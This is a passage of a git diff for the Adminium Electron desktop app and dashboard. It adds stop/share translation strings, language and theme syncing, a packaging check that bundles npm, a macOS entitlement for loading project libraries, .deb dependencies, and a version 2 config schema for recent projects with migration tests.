+ keepWorking: translate('desktop.stop.keepWorking', 'Keep working'),
+ shareDetail: translate('desktop.stop.shareDetail', 'If you share now it is stopped where it is. What was already written stays.'),
+ shareAnyway: translate('desktop.stop.shareAnyway', 'Stop and share'),
+ };
+}
+
+/** Handed over with the menu, at boot and at every change of language. Nothing in an app older than the call. */
+export function pushDesktopStopWords(): void {
+ const setStopWords = getDesktopApi()?.project?.setStopWords;
+ if (setStopWords === undefined) return;
+ void setStopWords(resolveStopWords()).catch(() => {
+ // The question is then asked in the language it had: not worth a console error.
+ });
+}
diff --git a/apps/dashboard/src/i18n/setup.ts b/apps/dashboard/src/i18n/setup.ts
index 8402dcb04..4f348faa1 100644
--- a/apps/dashboard/src/i18n/setup.ts
+++ b/apps/dashboard/src/i18n/setup.ts
@@ -36,7 +36,10 @@ import { getI18nInstance, setI18nInstance } from './t.js';
*/
function pushDesktopMenuLabels(): void {
if (getDesktopApi() === null) return;
- void import('../desktop/menuLabels.js').then((module) => module.pushDesktopMenuLabels());
+ void import('../desktop/menuLabels.js').then((module) => {
+ module.pushDesktopMenuLabels();
+ module.pushDesktopStopWords();
+ });
}
/** The locale the pre-hydration script painted with (localStorage cache). */
diff --git a/apps/dashboard/src/lib/desktop-runtime.test.ts b/apps/dashboard/src/lib/desktop-runtime.test.ts
index 66d4e1616..50b8f4df4 100644
--- a/apps/dashboard/src/lib/desktop-runtime.test.ts
+++ b/apps/dashboard/src/lib/desktop-runtime.test.ts
@@ -8,11 +8,11 @@
* code paths (About, reveal-in-folder) that nobody clicks during a Cloud demo.
*/
-import { afterEach, describe, expect, it } from 'vitest';
+import { afterEach, describe, expect, it, vi } from 'vitest';
import type { AdminiumDesktopApi } from '@adminium/desktop/api';
-import { desktopErrorCode, getDesktopApi, isDesktopRuntime } from './desktop-runtime.js';
+import { desktopErrorCode, getDesktopApi, isDesktopRuntime, rememberInDesktopApp } from './desktop-runtime.js';
/** Enough of the bridge to be recognised as one. */
const fakeBridge = (): AdminiumDesktopApi =>
@@ -80,3 +80,26 @@ describe('desktopErrorCode', () => {
expect(desktopErrorCode(new Error('Error invoking remote method: INTERNAL'))).toBeNull();
});
});
+
+describe('rememberInDesktopApp', () => {
+ it('tells the app of a picked language (as a tag) and a picked theme, and of nothing else', () => {
+ const setConfig = vi.fn(() => Promise.resolve());
+ installBridge({ ...fakeBridge(), setConfig } as unknown as AdminiumDesktopApi);
+ rememberInDesktopApp('locale', 'de_DE');
+ rememberInDesktopApp('theme', 'dark');
+ rememberInDesktopApp('accent', 'orange');
+ rememberInDesktopApp('density', 'compact');
+ rememberInDesktopApp('theme', 'neon');
+ rememberInDesktopApp('theme', 3);
+ expect(setConfig.mock.calls).toEqual([[{ language: 'de-DE' }], [{ theme: 'dark' }]]);
+ });
+
+ it('does nothing in a browser, and an app that refuses is not an error here', async () => {
+ rememberInDesktopApp('locale', 'de_DE');
+ const setConfig = vi.fn(() => Promise.reject(new Error('UNAVAILABLE')));
+ installBridge({ ...fakeBridge(), setConfig } as unknown as AdminiumDesktopApi);
+ rememberInDesktopApp('theme', 'light');
+ await Promise.resolve();
+ expect(setConfig).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/apps/dashboard/src/lib/desktop-runtime.ts b/apps/dashboard/src/lib/desktop-runtime.ts
index a3b5b9f54..acc83e9f3 100644
--- a/apps/dashboard/src/lib/desktop-runtime.ts
+++ b/apps/dashboard/src/lib/desktop-runtime.ts
@@ -29,7 +29,7 @@
* this SPA be ONE artifact that the shell serves unmodified.
*/
-import type { AdminiumDesktopApi, DesktopErrorCode } from '@adminium/desktop/api';
+import type { AdminiumDesktopApi, DesktopConfigPatch, DesktopErrorCode } from '@adminium/desktop/api';
/**
* Every code bridge can reject with, for {@link desktopErrorCode}.
@@ -102,3 +102,19 @@ export function desktopErrorCode(error: unknown): DesktopErrorCode | null {
function isDesktopErrorCode(value: string): value is DesktopErrorCode {
return Object.hasOwn(DESKTOP_ERROR_CODES, value);
}
+
+/**
+ * A language or a theme the person just picked, kept by the desktop app too:
+ * its own first screen (shown before any server runs) opens in them. Nothing
+ * outside the app, and nothing for the other axes.
+ */
+export function rememberInDesktopApp(key: string, value: unknown): void {
+ const api = getDesktopApi();
+ if (api === null || typeof value !== 'string') return;
+ const patch: DesktopConfigPatch | null =
+ key === 'locale' ? { language: value.replace('_', '-') } : key === 'theme' && (value === 'system' || value === 'light' || value === 'dark') ? { theme: value } : null;
+ if (patch === null) return;
+ void api.setConfig(patch).catch(() => {
+ // The pick still applied here; the app's first screen keeps what it had.
+ });
+}
diff --git a/apps/dashboard/src/shell/AppShell.tsx b/apps/dashboard/src/shell/AppShell.tsx
index dae3cff4c..9f065e1aa 100644
--- a/apps/dashboard/src/shell/AppShell.tsx
+++ b/apps/dashboard/src/shell/AppShell.tsx
@@ -35,6 +35,7 @@ import { AssistantBubble } from './AssistantBubble.js';
pay for that. Rendered only once opened, so no Suspense fallback is needed —
there is nothing on screen to replace while the chunk loads. */
const DesignBanners = lazy(async () => ({ default: (await import('../designer/DesignBanners.js')).DesignBanners }));
+const ShareBanner = lazy(async () => ({ default: (await import('../desktop/ShareBanner.js')).ShareBanner }));
const ShortcutsPanel = lazy(async () => ({
default: (await import('./ShortcutsPanel.js')).ShortcutsPanel,
}));
@@ -323,6 +324,12 @@ export function AppShell() {
onOpenHelp={() => void navigate({ to: '/help' })}
onOpenChangelog={() => void navigate({ to: '/changelog' })}
/>
+ {/* Inside the desktop app only (the bridge says so): a project shared on the network says it is. */}
+ {getDesktopApi()?.project?.shareInfo === undefined ? null : (
+
+
+
+ )}
{/* Only a server run by `adminium design` says these: the file is asked for there and nowhere else. */}
{designMode ? (
diff --git a/apps/dashboard/src/shell/BrandMark.tsx b/apps/dashboard/src/shell/BrandMark.tsx
index 734ead839..83f1d7d23 100644
--- a/apps/dashboard/src/shell/BrandMark.tsx
+++ b/apps/dashboard/src/shell/BrandMark.tsx
@@ -4,7 +4,7 @@
* "Adminium" is called and what its logo looks like on any given install.
*
* Adminium ships white-label: an operator sets `branding.appName` and uploads
- * a logo, and every surface that used to hardcode the hexagon and the word
+ * a logo, and every surface that used to hardcode the mark and the word
* follows. Those surfaces are not all signed in — the sign-in screen, the 404
* and the error heroes render with no session — which is why the underlying
* query hits the PUBLIC `/branding` route and why this component renders the
@@ -18,8 +18,8 @@
*/
import { useContext, useEffect } from 'react';
import { QueryClient, QueryClientContext, useQuery } from '@tanstack/react-query';
-import { Database, Hexagon } from 'lucide-react';
-import { cn } from '@adminium/ui';
+import { Database } from 'lucide-react';
+import { AdminiumMark, cn } from '@adminium/ui';
import { brandingQuery, DEFAULT_BRANDING, type BrandingData } from '../app/branding.js';
import { setDocumentAppName } from './documentTitle.js';
@@ -82,7 +82,7 @@ export interface BrandMarkProps {
/**
* `topbar` — the API explorer's header: a 28 px tile
* at radius 8 with a 15 px glyph, the name at 15 / 800 / −.02em, 11 px
- * apart. Its built-in glyph is the comp's `database`, not the hexagon.
+ * apart. Its built-in glyph is the comp's `database`, not the Adminium mark.
* Accent tone only.
*/
size?: 'default' | 'topbar';
@@ -103,7 +103,8 @@ const TILE_BG = {
muted: 'bg-accent text-accent-fg',
} as const;
-const GLYPH_SIZE = { accent: 'size-[17px]', onAccent: 'size-[17px]', muted: 'size-3' } as const;
+// The mark fills less of its 32 grid than a line icon does of its 24, so it is drawn a little larger.
+const GLYPH_SIZE = { accent: 'size-[19px]', onAccent: 'size-[19px]', muted: 'size-[13px]' } as const;
// No text colour on `onAccent`/`muted`: those sit on grounds that already set
// one (the auth panel is white-on-accent), and forcing `text-fg` there paints
@@ -124,7 +125,7 @@ export function BrandMark({
const { appName, logoUrl } = useBranding();
const topbar = size === 'topbar';
const tile = topbar ? 'size-[28px] rounded-[8px]' : TILE_SIZE[tone];
- const Glyph = topbar ? Database : Hexagon;
+ const Glyph = topbar ? Database : AdminiumMark;
return (
diff --git a/apps/desktop/README.md b/apps/desktop/README.md
index 441748f00..8c9b62388 100644
--- a/apps/desktop/README.md
+++ b/apps/desktop/README.md
@@ -3,6 +3,11 @@
The Electron shell: `@adminium/server` in a `utilityProcess`, the
`@adminium/dashboard` build served over loopback, fully offline.
+Two promises, checked at build time by `scripts/check-offline-assets.mjs`: the classic
+workspace makes no request at all; a project folder the app serves reaches a short written
+list (the npm registry once for its packages, the place an app was copied from, a picture
+site the person asked for, and the model they connected).
+
This package owns the topology and boot path, the layout below, the preload
bridge, the session, offline behaviour and the menus.
diff --git a/apps/desktop/build/after-pack.cjs b/apps/desktop/build/after-pack.cjs
new file mode 100644
index 000000000..312d276cd
--- /dev/null
+++ b/apps/desktop/build/after-pack.cjs
@@ -0,0 +1,135 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * electron-builder's `afterPack`: check what the archive holds, and put the
+ * carried npm beside it.
+ *
+ * Why a step of our own. A project in the app is installed with the npm the app
+ * carries, started as "the app's program, as Node, with npm's entry file". That
+ * entry and everything it requires must be real files, and npm keeps its own
+ * packages in a `node_modules` folder inside itself. electron-builder's
+ * `extraResources` copy leaves every `node_modules` folder out, whatever its
+ * filter says (tried: npm arrived at 3.3 MB and could not start), so the copy is
+ * made here, whole, links followed.
+ *
+ * It runs before the app is signed. The carried npm holds no program and no
+ * library, so it adds nothing to sign; it is covered by the app's seal like any
+ * other resource.
+ */
+const { closeSync, cpSync, existsSync, openSync, readFileSync, readSync, readdirSync, realpathSync, rmSync } = require('node:fs');
+const { join } = require('node:path');
+
+/** Where a packed app keeps its resources, per system. */
+function resourcesDir(context) {
+ if (context.electronPlatformName === 'darwin' || context.electronPlatformName === 'mas') {
+ return join(context.appOutDir, `${context.packager.appInfo.productFilename}.app`, 'Contents', 'Resources');
+ }
+ return join(context.appOutDir, 'resources');
+}
+
+/** The archive's own list of what it holds (its header), read with no library. */
+function archiveHeader(file) {
+ const fd = openSync(file, 'r');
+ try {
+ const head = Buffer.alloc(16);
+ readSync(fd, head, 0, 16, 0);
+ const json = Buffer.alloc(head.readUInt32LE(12));
+ readSync(fd, json, 0, json.length, 16);
+ return JSON.parse(json.toString('utf8'));
+ } finally {
+ closeSync(fd);
+ }
+}
+
+/** What npm always puts in a package, whatever its `files` says. */
+const ALWAYS = new Set(['package.json', 'README.md', 'LICENSE', 'LICENSES']);
+
+/**
+ * Every workspace package in the archive holds what its own `files` names and
+ * nothing else. The same package installed from npm is exactly that; here it
+ * is a folder of the repository, and whatever lies in that folder rides along
+ * unless the build's list cuts it (41 MB of test pictures once did).
+ */
+/**
+ * Every workspace package's manifest, by the package's name, read from the
+ * repository itself.
+ *
+ * NOT from the app's own `node_modules`: only the packages the app depends on
+ * DIRECTLY are linked there, and the archive also holds the ones the server
+ * brings. Looking there passed every such package unread (the UI package's
+ * test baseline and a translators' note rode in every installer until two of
+ * them became direct dependencies and were seen).
+ */
+function workspaceManifests(projectDir) {
+ const found = new Map();
+ const repository = join(projectDir, '..', '..');
+ for (const group of ['apps', 'packages']) {
+ const dir = join(repository, group);
+ if (!existsSync(dir)) continue;
+ for (const entry of readdirSync(dir)) {
+ const manifest = join(dir, entry, 'package.json');
+ if (!existsSync(manifest)) continue;
+ const name = JSON.parse(readFileSync(manifest, 'utf8')).name;
+ if (typeof name === 'string') found.set(name, manifest);
+ }
+ }
+ return found;
+}
+
+function checkWorkspacePackages(context) {
+ const archive = join(resourcesDir(context), 'app.asar');
+ if (!existsSync(archive)) return;
+ const scope = archiveHeader(archive).files?.node_modules?.files?.['@adminium']?.files ?? {};
+ const strays = [];
+ const manifests = workspaceManifests(context.packager.projectDir);
+ for (const [name, node] of Object.entries(scope)) {
+ const manifest = manifests.get(`@adminium/${name}`);
+ // Not skipped: a package this check cannot find is one it would otherwise pass unread.
+ if (manifest === undefined) throw new Error(`after-pack: @adminium/${name} is in the archive, and no package of the repository has that name.`);
+ const named = (JSON.parse(readFileSync(manifest, 'utf8')).files ?? []).map((entry) => entry.split('/')[0]);
+ for (const entry of Object.keys(node.files ?? {})) {
+ if (!ALWAYS.has(entry) && !named.includes(entry)) strays.push(`@adminium/${name}/${entry}`);
+ }
+ }
+ if (strays.length > 0) {
+ throw new Error(`after-pack: the archive holds what no package's \`files\` names. Cut it in electron-builder.yml's \`files\`:\n ${strays.join('\n ')}`);
+ }
+ console.log(` • ${Object.keys(scope).length} workspace packages in the archive, each holding only what its \`files\` names`);
+}
+
+/**
+ * The starter lockfile made for this release is in the archive, both files of
+ * it. It once was not: the packer leaves out every file named
+ * `package-lock.json`, the folder arrived with its manifest alone, and every
+ * new project resolved its own versions with nothing saying so.
+ */
+function checkStarter(context) {
+ const archive = join(resourcesDir(context), 'app.asar');
+ if (!existsSync(archive)) return;
+ const made = existsSync(join(context.packager.projectDir, 'resources', 'starter', 'starter.json'));
+ const packed = archiveHeader(archive).files?.resources?.files?.starter?.files ?? {};
+ if (!made) {
+ console.log(' • no starter lockfile was made for this build: a new project resolves its own versions');
+ return;
+ }
+ for (const name of ['starter.json', 'starter-lock.json']) {
+ if (packed[name] === undefined) throw new Error(`after-pack: resources/starter/${name} was made and is not in the archive.`);
+ }
+ console.log(' • the starter lockfile is in the archive');
+}
+
+exports.default = async function afterPack(context) {
+ checkWorkspacePackages(context);
+ checkStarter(context);
+ const from = realpathSync(join(context.packager.projectDir, 'node_modules', 'npm'));
+ const to = join(resourcesDir(context), 'npm');
+ rmSync(to, { recursive: true, force: true });
+ cpSync(from, to, { recursive: true, dereference: true });
+ // Said outright, because a carried npm that cannot start is found only when a person makes their first project.
+ for (const file of ['bin/npm-cli.js', 'bin/npx-cli.js', 'node_modules/graceful-fs/package.json', 'node_modules/@npmcli/arborist/package.json']) {
+ if (!existsSync(join(to, file))) throw new Error(`after-pack: the carried npm is not whole: ${file} is missing in ${to}`);
+ }
+ const wanted = JSON.parse(readFileSync(join(context.packager.projectDir, 'package.json'), 'utf8')).dependencies.npm;
+ const got = JSON.parse(readFileSync(join(to, 'package.json'), 'utf8')).version;
+ if (got !== wanted) throw new Error(`after-pack: the carried npm is ${got}, and package.json pins ${wanted}`);
+ console.log(` • carried npm ${got} → ${to}`);
+};
diff --git a/apps/desktop/build/entitlements.mac.plist b/apps/desktop/build/entitlements.mac.plist
index d43aa4c6c..0dcc20e05 100644
--- a/apps/desktop/build/entitlements.mac.plist
+++ b/apps/desktop/build/entitlements.mac.plist
@@ -23,6 +23,26 @@
is not required. No sandbox means no need for user-selected-file entitlements
either — the app already has ordinary file access.
+ * com.apple.security.cs.disable-library-validation — GRANTED, and it is the
+ widest thing in this file. The app opens a project folder and serves it, and
+ a project's own packages bring libraries that are signed ad hoc or by someone
+ else: SQLite's, argon2's, Tailwind's and lightningcss's native parts. Under
+ the hardened runtime every one of them is refused without this key (seen on
+ the notarized build: no Tailwind, no database driver from a project's
+ node_modules). The app's OWN native addons do not need it: they are
+ co-signed with the app's Developer ID and pass strict validation.
+
+ What it costs, said plainly: this process will load a library nobody at
+ Adminium signed. What stands in front of that is not a signature but a
+ question: a folder's code and libraries load only after the person said they
+ trust that folder. And because the app's program also runs as Node when
+ asked to, any other program this person runs can start it that way; the key
+ store therefore protects a key at rest, not from the person's own programs.
+
+ One file serves the app and every helper (entitlementsInherit), so the
+ renderers carry the key too. They load no project library; a second, narrower
+ file for them is possible and is not done here.
+
* com.apple.security.device.audio-input — GRANTED, for speaking to the
assistant. Under the hardened runtime a process without it is handed
silence by the system whatever the app itself allows. The app's own
@@ -30,16 +50,14 @@
speaking switched on (src/main/window.ts), and macOS asks the person once,
with the sentence in electron-builder.yml (NSMicrophoneUsageDescription).
The camera has no such entitlement and is never asked for.
-
- Nothing here disables library validation: with npmRebuild the native addons are
- rebuilt from source and then co-signed by electron-builder with the same
- Developer ID as the app, so the default (strict) validation passes.
-->
com.apple.security.cs.allow-jit
+ com.apple.security.cs.disable-library-validation
+
com.apple.security.device.audio-input
diff --git a/apps/desktop/electron-builder.yml b/apps/desktop/electron-builder.yml
index 8bae5e83d..84d6b0022 100644
--- a/apps/desktop/electron-builder.yml
+++ b/apps/desktop/electron-builder.yml
@@ -122,6 +122,30 @@ npmRebuild: true
files:
- "out/**"
- "resources/**"
+ # npm is carried as real files (extraResources below), not inside the archive:
+ # a program run as Node cannot be handed a script that lives in an archive
+ # by a child that is not Electron, and one copy is enough.
+ - "!node_modules/npm{,/**}"
+ # A workspace package rides in the archive as its whole folder, where the
+ # same package on npm is only what its `files` names. So each one is cut back
+ # to that: no sources, no coverage, no build caches, and none of the UI
+ # package's test pictures and Storybook build (41 MB of them were in every
+ # installer). `build/after-pack.cjs` reads the finished archive and stops the
+ # build when a workspace package carries anything its own `files` does not
+ # name, so a new folder cannot ride along unseen.
+ - "!node_modules/@adminium/*/{coverage,.turbo,vrt,storybook-static,.storybook,test,tests,scripts,data,e2e,fixtures,demo}{,/**}"
+ - "!node_modules/@adminium/*/{vitest.config.ts,playwright.config.ts,eslint.config.js,openapi.json,a11y-baseline.json,tsconfig.json,tsconfig.build.json,*.tsbuildinfo,CHANGELOG.md,TRANSLATIONS.md}"
+ # Sources, except the two packages whose `files` name some: the tokens' (CSS
+ # read at run time) and the charts' one stylesheet.
+ - "!node_modules/@adminium/{server,ui,widgets,engine,meta,manifest,llm,i18n,schema-import,add-on-contracts,public-client,adapter-sqlite,adapter-postgres,adapter-mysql}/src{,/**}"
+ - "!node_modules/@adminium/charts/src/**/*.{ts,tsx}"
+
+# The npm a project is installed with: real files at /npm, where
+# `main/index.ts` looks for it in a packaged app. `build/after-pack.cjs` copies
+# it there whole (an `extraResources` copy leaves npm's own `node_modules` out,
+# and without them npm cannot start). It is a pinned dependency of this package
+# so that the notices attribute it and the packages it bundles.
+afterPack: build/after-pack.cjs
mac:
category: public.app-category.developer-tools
@@ -209,6 +233,27 @@ linux:
# `app-update.yml` is read at DOWNLOAD time, for `updaterCacheDirName` and (on
# NSIS) `publisherName`. Nothing reads it at construction, so a missing file
# breaks the download, never the check.
+# What the .deb asks the system for. Written out whole because naming any
+# replaces electron-builder's own list (the first nine below are that list).
+# The last two were missing: the program links against libgbm and libasound,
+# a desktop system happens to have both, and a minimal one does not, where the
+# installed app then failed to start with "libgbm.so.1: cannot open shared
+# object file" (seen on Debian 12 with the 0.2.10 package). The second spelling
+# of libasound is the name newer Ubuntu releases gave it.
+deb:
+ depends:
+ - libgtk-3-0
+ - libnotify4
+ - libnss3
+ - libxss1
+ - libxtst6
+ - xdg-utils
+ - libatspi2.0-0
+ - libuuid1
+ - libsecret-1-0
+ - libgbm1
+ - libasound2 | libasound2t64
+
publish:
provider: github
owner: MoSofi
diff --git a/apps/desktop/electron.vite.config.ts b/apps/desktop/electron.vite.config.ts
index 9c39a1156..9ee7f9786 100644
--- a/apps/desktop/electron.vite.config.ts
+++ b/apps/desktop/electron.vite.config.ts
@@ -54,6 +54,8 @@ import { createRequire } from 'node:module';
import { dirname, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
+import tailwindcss from '@tailwindcss/vite';
+import react from '@vitejs/plugin-react';
import { defineConfig } from 'electron-vite';
import type { Plugin } from 'vite';
@@ -157,17 +159,26 @@ export default defineConfig({
root: src('renderer'),
build: {
outDir: 'out/renderer',
+ // Minified, as the dashboard's build is: smaller, and a library's comments (their links to its docs among
+ // them) do not ride into an app that must never reach the network.
+ minify: 'esbuild',
+ cssMinify: true,
// No index.html here on purpose: the renderer's real document is served by
// the embedded Fastify over loopback ("Loopback HTTP, not
- // file://"). These two are the only pages that exist before/without a
- // server (steps 6 and 9).
+ // file://"). These are the only pages that exist before/without a
+ // server: the splash, the crash page, and the app's own first screens.
rollupOptions: {
input: {
boot: src('renderer', 'boot.html'),
crash: src('renderer', 'crash.html'),
+ // The app's own pages (Start and the screens before any server runs): a small React bundle of its
+ // own. It imports the kit, the tokens and its own words, and never the dashboard.
+ app: src('renderer', 'app', 'index.html'),
},
},
},
- plugins: [copyTokenCss()],
+ // Relative addresses: these pages are opened from the disk, not served.
+ base: './',
+ plugins: [react(), tailwindcss(), copyTokenCss()],
},
});
diff --git a/apps/desktop/package.json b/apps/desktop/package.json
index 96883ba03..75dee8bdd 100644
--- a/apps/desktop/package.json
+++ b/apps/desktop/package.json
@@ -143,6 +143,7 @@
"croner": "^10.0.1",
"electron-updater": "^6.8.9",
"fflate": "^0.8.3",
+ "npm": "10.9.8",
"zod": "catalog:"
},
"optionalDependencies": {
@@ -226,16 +227,30 @@
"devDependencies": {
"@adminium/config": "workspace:*",
"@adminium/dashboard": "workspace:*",
+ "@adminium/i18n": "workspace:*",
"@adminium/tokens": "workspace:*",
+ "@adminium/ui": "workspace:*",
"@electron/rebuild": "^4.2.0",
+ "@tailwindcss/vite": "^4.3.3",
+ "@testing-library/react": "^16.3.2",
+ "@testing-library/user-event": "^14.6.4",
"@types/better-sqlite3": "^9.6.0",
"@types/node": "22.15.3",
+ "@types/react": "^19.2.18",
+ "@types/react-dom": "^19.2.4",
+ "@vitejs/plugin-react": "^5.0.0",
"electron": "^44.4.5",
"electron-builder": "^26.15.3",
"electron-vite": "^5.0.0",
"eslint": "catalog:",
+ "happy-dom": "^18.0.1",
"icon-gen": "^5.0.0",
+ "lucide-react": "^0.525.0",
+ "qr": "catalog:",
+ "react": "^19.2.8",
+ "react-dom": "^19.2.8",
"sharp": "^0.35.3",
+ "tailwindcss": "^4.3.3",
"typescript": "catalog:",
"vite": "^7.0.5",
"vitest": "catalog:"
diff --git a/apps/desktop/resources/icons/icon-master.svg b/apps/desktop/resources/icons/icon-master.svg
index 8abbd0701..7725cba15 100644
--- a/apps/desktop/resources/icons/icon-master.svg
+++ b/apps/desktop/resources/icons/icon-master.svg
@@ -8,20 +8,23 @@
TWO COLORS ONLY, by contract. make-icons.mjs re-derives the icon for the
active accent by string-substituting exactly these two hex values with the
- resolved @adminium/tokens colors before rasterizing — #4f46e5 is the accent
- of [data-accent="indigo"] (the default), and #ffffff is
+ resolved @adminium/tokens colors before rasterizing — #b03e00 is the accent
+ of [data-accent="orange"] (the brand's forge colour), and #ffffff is
the accent-fg. Introduce a third colour and the substitution can no longer be
scoped to a plain find-replace; don't. (Note: no CSS custom-property names in
this comment — an XML comment may not contain a double hyphen, and a strict
rasterizer like librsvg rejects the whole file if it does.)
- The mark: an accent app-tile carrying a light panel of stacked rows — a table
- / admin list, the thing Adminium generates. It echoes the boot splash mark
- (src/renderer/boot.html: a rounded tile with an inner square) at icon scale.
+ The mark: an accent app-tile carrying the Adminium mark, table rows stacked
+ into a capital A. The same four rows as the website's logo and the product's
+ own mark (packages/ui, AdminiumMark): its 32 grid, 20.8 times larger and
+ centred, as the website's favicon places it (65 % of the tile).
-->
-
-
-
-
-
+
+
+
+
+
+
+
diff --git a/apps/desktop/src/main/config.test.ts b/apps/desktop/src/main/config.test.ts
index 39aa1fbae..f979e4f51 100644
--- a/apps/desktop/src/main/config.test.ts
+++ b/apps/desktop/src/main/config.test.ts
@@ -93,7 +93,7 @@ function withoutVersion(config: DesktopConfig): Record {
describe('desktopConfigSchema', () => {
it('accepts the body verbatim', () => {
const body = {
- version: 1,
+ version: 2,
dataDir: '/Users/ava/Library/Application Support/Adminium/data',
secretEncrypted: 'base64…',
secretPlain: null,
@@ -104,9 +104,23 @@ describe('desktopConfigSchema', () => {
telemetryOptIn: false,
autoBackup: { enabled: true, keep: 7 },
window: { x: 0, y: 0, width: 1440, height: 900, maximized: false },
+ projects: [
+ { path: '/Users/ava/Adminium/juniper-kitchen', name: 'Juniper Kitchen', lastOpened: '2026-10-09T18:04:11.000Z', state: 'shared', sharePort: 4712, trusted: 'sha256:9f2c', reviewed: true, engineNoted: '0.3.16' },
+ { path: '/Users/ava/Adminium/repairs', name: 'Repairs', lastOpened: '2026-10-08T09:00:00.000Z', state: 'building', sharePort: null, trusted: null, reviewed: false, engineNoted: null },
+ ],
+ language: 'ar',
+ theme: 'dark',
+ versionsDeclined: true,
+ guests: [{ address: 'http://office-pc.local:4600', version: '0.3.24', lastOpened: '2026-10-10T10:00:00.000Z' }],
};
expect(desktopConfigSchema.parse(body)).toEqual(body);
+ // A file written before the versions offer has no such key, and is read as "never asked".
+ const { versionsDeclined: _, ...before } = body;
+ expect(desktopConfigSchema.parse(before).versionsDeclined).toBe(false);
+ // And a project entry written before it was looked over, or told of an older Adminium, reads as neither.
+ const old = { ...body, projects: [{ path: '/p', name: 'P', lastOpened: '2026-10-09T18:04:11.000Z', state: 'building', sharePort: null, trusted: null }] };
+ expect(desktopConfigSchema.parse(old).projects[0]).toMatchObject({ reviewed: false, engineNoted: null });
});
it('accepts the default config, with window position left to the OS', () => {
@@ -120,7 +134,11 @@ describe('desktopConfigSchema', () => {
});
it.each([
- ['a wrong version literal', { version: 2 }],
+ ['a wrong version literal', { version: 1 }],
+ ['a project with no path', { projects: [{ path: '', name: 'x', lastOpened: 'x', state: 'building', sharePort: null, trusted: null }] }],
+ ['a project in a state there is none of', { projects: [{ path: '/p', name: 'x', lastOpened: 'x', state: 'paused', sharePort: null, trusted: null }] }],
+ ['a project with a key the schema does not know', { projects: [{ path: '/p', name: 'x', lastOpened: 'x', state: 'building', sharePort: null, trusted: null, secret: 's' }] }],
+ ['a theme there is none of', { theme: 'sepia' }],
['an empty dataDir', { dataDir: '' }],
['a non-string dataDir', { dataDir: 42 }],
['an unknown update mode', { updates: { mode: 'automatic' } }],
@@ -350,13 +368,13 @@ describe('migrateConfig', () => {
return { ...raw, version: 3, step2: true };
},
};
- // Drive the engine directly at a synthetic head so the test does not depend
- // on CURRENT_CONFIG_VERSION staying at 1.
+ // Each step hands off to the next, up to this build's version and no further.
const { raw, fromVersion } = migrateConfig({ version: 0, keep: 'me' }, migrations);
expect(fromVersion).toBe(0);
- expect(trail).toEqual([0]); // one step, to CURRENT_CONFIG_VERSION (1)
- expect(raw).toMatchObject({ version: 1, keep: 'me', step0: true });
+ expect(trail).toEqual([0, 1]); // two steps, to CURRENT_CONFIG_VERSION (2); the third is not this build's
+ expect(raw).toMatchObject({ version: 2, keep: 'me', step0: true, step1: true });
+ expect(raw).not.toHaveProperty('step2');
});
it('refuses a config from a newer build instead of silently downgrading it', () => {
@@ -786,3 +804,34 @@ describe('detectCloudSyncFolder', () => {
);
});
});
+
+describe('version 1 → 2: the first screens', () => {
+ const V1 = {
+ version: 1,
+ dataDir: '/data',
+ secretEncrypted: 'base64…',
+ secretPlain: null,
+ secretStorage: 'safeStorage',
+ singleUser: false,
+ lanShare: { enabled: true, port: 4611 },
+ updates: { mode: 'manual' },
+ telemetryOptIn: true,
+ autoBackup: { enabled: false, keep: 3 },
+ window: { width: 1200, height: 800, maximized: true },
+ };
+
+ it('adds an empty list of projects, the system’s language and theme, and changes nothing else', () => {
+ const { raw, fromVersion } = migrateConfig(V1);
+ expect(fromVersion).toBe(1);
+ expect(desktopConfigSchema.parse(raw)).toEqual({ ...V1, version: 2, projects: [], language: null, theme: 'system', versionsDeclined: false, guests: [] });
+ });
+
+ it('a version 2 file read by an older build is refused with words a person can act on', () => {
+ // What a 0.2.x app (which understood version 1) says of a file this build wrote.
+ expect(() => migrateConfig({ ...V1, version: 3 })).toThrow(/Update Adminium first/);
+ });
+
+ it('a new install starts at version 2 with nothing opened yet', () => {
+ expect(createDefaultConfig('/data')).toMatchObject({ version: 2, projects: [], language: null, theme: 'system' });
+ });
+});
diff --git a/apps/desktop/src/main/config.ts b/apps/desktop/src/main/config.ts
index 3aeb6d3d8..586334be7 100644
--- a/apps/desktop/src/main/config.ts
+++ b/apps/desktop/src/main/config.ts
@@ -98,7 +98,7 @@ export class SecretUnavailableError extends DesktopConfigError {
// ─── Schema ──────────────────────────────────────────────────────────────────
/** The `version` this build writes. Bump only alongside a migration. */
-export const CURRENT_CONFIG_VERSION = 1;
+export const CURRENT_CONFIG_VERSION = 2;
/** Update modes. */
export const updateModeSchema = z.enum(['notify', 'manual', 'disabled']);
@@ -162,6 +162,39 @@ export const MIN_WINDOW_HEIGHT = 700;
* screen can warn") and is read back by `getRuntimeInfo()`, so it is persisted
* here rather than recomputed by every reader.
*/
+/**
+ * A project folder the app has opened (version 2).
+ *
+ * `trusted` is not a yes/no: it is the fingerprint of the folder's code at the
+ * moment the person said "Open". The question is asked again when the code is
+ * no longer that code. It is kept HERE, in the app's own folder, and never in
+ * the project, where whoever sent the folder could have written it.
+ */
+export const projectEntrySchema = z.strictObject({
+ /** The folder, by its real path. */
+ path: z.string().min(1),
+ name: z.string().min(1),
+ /** When it was last opened here (ISO 8601). */
+ lastOpened: z.string().min(1),
+ /** How it was last served: the chip beside it in the recent list. */
+ state: z.enum(['building', 'shared']),
+ /** The port it is shared on, kept so a phone's address survives a restart. `null` until it is first shared. */
+ sharePort: portSchema.nullable(),
+ /** The fingerprint of the code the person agreed to run, or `null`: never agreed. */
+ trusted: z.string().min(1).nullable(),
+ /** Opened here before: what was found in it and who it came with have been shown once. */
+ reviewed: z.boolean().default(false),
+ /** The older Adminium pin the person was last told of and chose to keep, so it is not asked at every opening. */
+ engineNoted: z.string().min(1).nullable().default(null),
+});
+
+export type ProjectEntry = z.infer;
+
+/** How many recent projects are kept. The list is for getting back to work, not a history. */
+export const MAX_RECENT_PROJECTS = 12;
+
+export const themeChoiceSchema = z.enum(['system', 'light', 'dark']);
+
export const desktopConfigSchema = z.strictObject({
version: z.literal(CURRENT_CONFIG_VERSION),
dataDir: z.string().min(1),
@@ -178,6 +211,21 @@ export const desktopConfigSchema = z.strictObject({
telemetryOptIn: z.boolean(),
autoBackup: autoBackupSchema,
window: windowStateSchema,
+ // ── version 2: the app's own first screens ──
+ /** The project folders opened here, newest first. */
+ projects: z.array(projectEntrySchema),
+ /** The language of the app's own screens (a locale tag), or `null`: the system's. Set from the Designer's top bar too. */
